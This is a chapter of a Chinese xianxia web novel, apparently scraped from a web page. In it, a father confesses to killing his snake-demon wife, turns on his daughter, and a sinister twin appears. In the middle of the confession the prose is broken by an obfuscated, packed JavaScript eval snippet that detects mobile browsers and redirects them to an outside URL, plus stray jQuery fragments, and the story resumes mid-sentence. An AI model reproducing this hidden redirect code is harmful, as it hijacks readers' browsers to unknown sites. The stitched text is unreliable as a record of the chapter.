20. 第20章 双生
作品:《忘川风华录》 "沈慕瑶,快走!余府留不得!"
唐倾虹冲进房间的瞬间,声音中带着前所未有的惊恐和急迫。她的脸色苍白如纸,额头上渗出细密的汗珠,双手微微颤抖着,显然是受到了极大的惊吓。
"怎么了?"沈慕瑶被这突如其来的声音惊醒,睡眼朦胧地坐起身来,美目中闪过一丝困惑和担忧。她看着唐倾虹慌张的模样,心中涌起一阵不安。
"那位余姑娘,她不是人!"唐倾虹一边慌乱地收拾着散落的衣物,一边压低声音急切地说道,"我亲眼看见她将一只野兔的血全部吸干了!那场面简直太可怕了!"
她的声音因为恐惧而微微发颤,回想起刚才在丛林中看到的那一幕,她至今还感到毛骨悚然。月光下,余双优雅地蹲在陷阱边,纤细的手指轻抚着那只野兔,然后那只原本肥硕的兔子就在她眼前迅速干瘪下去,仿佛所有的血液都被瞬间抽干。
"你是不是看错了?"沈慕瑶皱起眉头,眼中闪过一丝疑惑。入住余府之时,她已经用神识仔细探查过整个宅院,余家父女虽然饮食习惯有些异于常人,但身上并没有妖气或邪气的波动。按理说,如果真是妖邪的话,不可能瞒过她的感知。
"我绝对没有看错!"唐倾虹急得眼泪都快掉下来了,"她发现我看到后,还对我笑了笑,慕瑶,我们必须马上离开这里,否则就来不及了!"
她手忙脚乱地将东西塞进包袱里,动作急促而慌乱。那种深入骨髓的恐惧让她恨不得立刻插上翅膀飞离这个地方。
沈慕瑶见她如此惊恐,也不敢怠慢,连忙起身穿衣。虽然心中还有疑惑,但唐倾虹的反应绝不像是在说谎。而且,宁可信其有,不可信其无,小心一些总是没错的。
"二位姑娘?这么晚了还不睡,是要做什么去?"
就在两人紧张地收拾东西的时候,门外突然传来余双那熟悉而温柔的声音。然而,在这寂静的深夜,这个声音却显得格外诡异和突兀。
唐倾虹的动作瞬间僵住了,手中的包袱差点掉在地上。她惊恐地看向门口,只见月光透过门缝洒进来,在地面上投下斑驳的光影。而在那光影之中,余双的身影若隐若现,飘忽不定,仿佛不是实体一般。
"她...她来了..."唐倾虹的声音小得几乎听不见,整个人都在微微颤抖。
"余府可是有招待不周之处?"余双看着唐倾虹手中紧握的包袱,眼中闪过一丝不易察觉的失落。她的声音依然温和,但语调中却带着几分试探的意味。
"不是的,余姑娘误会了。"沈慕瑶连忙解释道,"只是我突然想起还有些急事需要处理,恐怕不便在府上久留,还望余姑娘见谅。"
她一边说着,一边轻轻拍了拍唐倾虹的手背,示意她不要太过紧张。虽然心中也有些疑虑,但她不愿意在没有确凿证据的情况下就对余双产生敌意。
然而,余双却没有让开的意思,依然站在门口,纤细的身影在月光下显得格外突出。她的眼神在两人之间游移着,似乎在思考着什么。
唐倾虹见状,心中更加焦急。她四处张望,希望能找到其他的出路。就在这时,她突然感觉脚下有什么冰凉的东西在蠕动。
低头一看,一条拇指粗细的黑色小蛇不知何时爬到了她的脚边,正慢慢地向她的脚踝游去。那条小蛇通体漆黑,在月光下泛着幽暗的光泽,看起来既神秘又有些可怖。
"啊!"唐倾虹吓得花容失色,本能地抬脚将那条黑蛇踢飞出去。小蛇在空中划过一道弧线,重重地撞在墙上,发出一声轻微的撞击声。
她连忙躲到沈慕瑶身后,双手紧紧抓住她的衣袖,大口大口地喘着气,心脏狂跳不止。
"小黑!"余双见状,立刻发出一声惊呼,连忙跑过去将那条受伤的小蛇小心翼翼地捧在手心里。她的脸上写满了担忧和心疼,仔细检查着小蛇的伤势。
那条名叫小黑的蛇此时显得有些萎靡,身体蜷缩成一团,显然是被刚才的撞击伤到了。
''受到惊吓的人应该是我才对吧?''唐倾虹在心中无语地想着。明明是这条蛇突然出现吓到了她,现在反倒像是她做错了什么似的。
她拉了拉沈慕瑶的衣袖,示意她们赶紧离开这个诡异的地方。
然而,沈慕瑶却轻轻松开了她的手,缓缓走向余双。她俯下身去,伸出纤细的手指,在小黑的额头处轻柔地抚摸着。
一道淡淡的青色光芒从她的指尖流淌而出,如春风化雨般温和,慢慢地渗透进小蛇的身体。
不多时,小黑便恢复了活力,重新在余双的掌心中游动起来,看起来完全没有受伤的样子。它还亲昵地用小脑袋蹭了蹭沈慕瑶的手指,仿佛在表达感谢。
"多谢沈姑娘。"余双眼中闪过一丝感激的光芒,"小黑是我从小养大的灵宠,性情温顺,从不伤人。刚才可能是感受到了什么,所以才会主动靠近唐姑娘。"
她轻抚着小黑光滑的鳞片,眼神中满含着宠溺。那种温柔的神情,让人很难相信她像是会方才那个生饮兔血的异类。
唐倾虹看着这一幕,心中的疑虑更深了。难道真的是自己看错了?
月光皎洁,夜风轻拂,三个女子各怀心思,檐下的气氛却变得微妙起来。
"嘶嘶——嘶嘶——"
就在几人僵持不下之时,余府深处突然传来一阵阵凄厉的嘶鸣声,那声音尖锐刺耳,如同无数条毒蛇在痛苦地哀嚎,令人毛骨悚然。
"蛇房!"余双脸色瞬间变得苍白如纸,眼中闪过一丝惊恐,"出事了!"
几人顾不得刚才的尴尬,连忙循声而去。月光下,他们的脚步声在青石板上回响,显得格外急促。
当他们赶到位于后院的蛇房时,眼前的景象让所有人都倒吸了一口凉气。
那间平日里整洁有序的蛇房此刻如同修罗地狱一般惨烈。原本用来饲养灵蛇的竹笼七零八落,有的被撕成碎片,有的被掀翻在地。地面上到处都是鲜血和残破的蛇尸。
空气中弥漫着浓重的血腥味,让人几欲作呕。几十条大小不一的蛇类就这样横尸当场,有的身首异处,有的被撕成数段,死状极其凄惨。
在这片血腥的废墟中央,余蚺正跪在地上,怀中抱着几条已经没有生息的蛇尸,老泪纵横。他的衣衫被鲜血染红,花白的头发凌乱不堪,整个人看起来苍老了十几岁。
"爹!"余双见状,心如刀绞,连忙跑上前去,想要扶起跪在地上的父亲,"爹,您别这样,到底发生了什么事?"
她的声音颤抖着,眼中也涌出了泪水。
然而,余蚺却猛地抬起头来,那双原本慈祥的眼睛此刻布满血丝,充满了愤怒和失望。他缓缓站起身来,二话不说,扬起手掌狠狠地扇在余双的脸上。
"啪!"
清脆的巴掌声在寂静的夜晚显得格外响亮,余双的脸颊瞬间浮现出五个鲜红的手印。她被这突如其来的一巴掌打得踉跄后退,眼中满含着震惊和委屈。
"爹,您为什么要打我?"她捂着火辣辣的脸颊,声音中带着哭腔,"我做错了什么吗?"
从小到大,父亲从未对她动过手,即使是最严厉的时候,也只是口头教训而已。
"你还敢问我为什么?"余蚺怒不可遏,指着满地的蛇尸,声音因为愤怒而颤抖,"我本以为这些年将你带在身边悉心教导,能够让你弃恶从善,走上正道。未曾想你竟然和你娘一样,是个十恶不赦的孽畜!"
他的话如同利剑一般刺向余双的心脏,每个字都带着深深的失望和痛苦。那种被至亲之人彻底否定的绝望,让余双的脸色变得更加苍白。
沈慕瑶和唐倾虹站在一旁,被这突如其来的变故震惊得说不出话来。刚才还温和善良的父女俩,此刻却如同仇人一般对峙着,这其中必定隐藏着什么不为人知的秘密。
"爹,您在说什么?我真的听不懂。"余双的声音越来越微弱,如同风中残烛般颤抖着。晶莹的泪珠如断线的珍珠般从她的脸颊滑落,在月光下闪闪发光,"而且,而且这与我娘又有什么关系?我娘不是早就……"
余双的话语哽咽着,几乎说不下去。
"好啊!你还在这里装糊涂!"余蚺突然暴怒起来,他的脸色变得铁青,眼中闪烁着疯狂的光芒,"今日我就把话说得清清楚楚,让你死个明白!"
他深深吸了一口气,仿佛要将压抑在心中多年的秘密一口气全部倾吐出来:
"我与你娘白九思初次相识之时,她是那样的美丽动人,温柔善良,我以为自己遇到了这世上最完美的女子。"余蚺的声音中带着一丝怀念,但很快就被愤怒所取代,"可我万万没有想到,她竟然不是人!直到你出生的那一夜,她因为难产而痛苦不堪,竟然在我面前显露了真身——她竟是一只修炼了千年的蛇妖!"
"不,不可能。"余双摇着头,泪如雨下。
"起初,我告诉自己,她是人是妖又有什么关系?只要她还是妻子就够了。"余蚺的声音变得越来越阴沉,"可是好景不长,她生下你之后,便以身体虚弱、需要滋补为由,开始吸食鸡鸭牲畜的精血。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409324|184195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一开始只是偶尔几只,我以为是产后需要补养,便睁一只眼闭一只眼。"
"可她的胃口越来越大,越不到半年时间,府里的牲畜全部被她吸干了精血,变成了一具具干尸。最可怕的是,当附近再也找不到动物可以吸食时,她竟然开始对活人下手!村里的孩子、老人,一个接一个地离奇死亡,全都是被吸干了精血而死!"
"不!我不信!我娘她不是那样的人!"余双歇斯底里地喊道,声音中充满了绝望。
"人?她根本就不是人!"余蚺狞笑着,脸上的表情变得越来越扭曲,此刻的他看起来比任何妖邪都要可怕,"我余蚺一生光明磊落,岂能容她玷污我的名声?岂能让她继续害人?"
"于是,在一个月黑风高的夜晚,我早早准备好了雄黄酒。她外出觅食归来后,我骗喝下了雄黄酒,又趁她虚弱之际,用早已准备好的桃木剑,一剑一剑地将她活活刺死!"
"原来您说我娘生我时难产而死,这一切都是假的……"余双瘫坐在地上,满脸泪痕,整个人仿佛被抽空了灵魂一般。
她无法接受这个残酷的真相——养育了她十几年的慈父,竟然是杀害她亲生母亲的凶手!
"二位仙师!"余蚺突然转向沈慕瑶和唐倾虹,眼中闪烁着疯狂的光芒,"你们还在等什么?快收了这个妖孽!她身上流着妖怪的血,迟早会像她娘一样害人的!"
他伸出颤抖的手指,指着瘫坐在地的余双,声音中充满了恶毒:"杀了她!一定要杀了她!斩草除根!"
沈慕瑶看着眼前这个已经完全失去理智的男人,心中涌起一阵厌恶。她冷冷地说道:"余家主,恕我们帮不了你。"
"为什么?为什么不帮我?"余蚺瞪大了眼睛,不敢置信地问道。
沈慕瑶的声音清冷而坚定:"因为余姑娘身上并无半点妖气,她是活生生的人。"
她顿了顿,眼中闪过一丝同情:"更何况,真正的妖邪,或许并不是余姑娘,而是别的什么。"
"哈哈哈!"余蚺仰天长笑,那笑声中满含着讽刺和绝望,在寂静的夜空中显得格外刺耳,"枉你们自称什么修行者、捉妖师,竟然能说出''妖邪的孩子也是人''这种天真的话来?真是可笑至极!"
他的眼中满是疯狂的光芒,仿佛已经被愤怒和痛苦彻底吞噬了理智。
"她不也是你的孩子吗?"唐倾虹实在看不下去了,忍不住开口为余双辩护。虽然她对昨晚的记忆心存恐惧,但眼前余蚺的冷酷无情却更让她感到愤怒,"她身上也流着你的血液!"
"不!她不是我的孩子!"余蚺如同野兽般咆哮道,"她是一个彻头彻尾的孽畜!就像她那个该死的娘一样!"
说着,他从怀中掏出一个布包,颤抖着手将里面的黄色粉末全部倒在余双身上。那是硫磺,传说中专门克制蛇妖之物。
"妖孽,今日我就要送你下地狱去见你娘!"余蚺笑得癫狂,眼中满含着报复的快意。
然而,余双只是静静地站在那里,任由硫磺洒在身上,眼神中已经没有了任何光芒,她的心已经死了。
时间一分一秒地过去,余蚺将所有的硫磺都用尽了,可余双却丝毫未受伤害。她依然完好无损地站在那里,甚至连衣衫都没有被腐蚀分毫。
"这怎么可能?"余蚺瞪大了眼睛,不敢置信地看着眼前的一切。硫磺对蛇妖来说应该是致命的,为什么会毫无效果?
不仅是余蚺,就连唐倾虹也感到万分诧异。她分明亲眼目睹了余双在丛林中吸食野兔鲜血的恐怖一幕,可现在。
"因为害人的从来不是余双,而是我。"
一个清冷的女声突然在众人身后响起,那声音中带着说不出的阴森和诡异。
众人猛地回头,只见一个与余双长相一般无二的女子不知何时出现在余蚺身后。她穿着一袭白衣,在月光下显得飘渺如仙,但那双眼睛却闪烁着妖异的红光,透着令人心悸的邪恶气息。
最诡异的是,她的容貌与余双几乎一模一样,仿佛是从同一个模子里刻出来的,只是气质截然不同——一个温柔善良,一个邪魅冷酷。
余蚺转身望向这个突然出现的女子,脸色瞬间变得惨白如纸,声音颤抖着质问道:"你是谁?为什么会长得和双儿一模一样?"
那女子嘴角勾起一抹诡异的笑容,缓缓开口道:"我是谁?这个问题,你应该比任何人都清楚才对,我的好父亲。"
她的话如同惊雷般在众人心中炸响,一个更加惊人的真相即将浮出水面。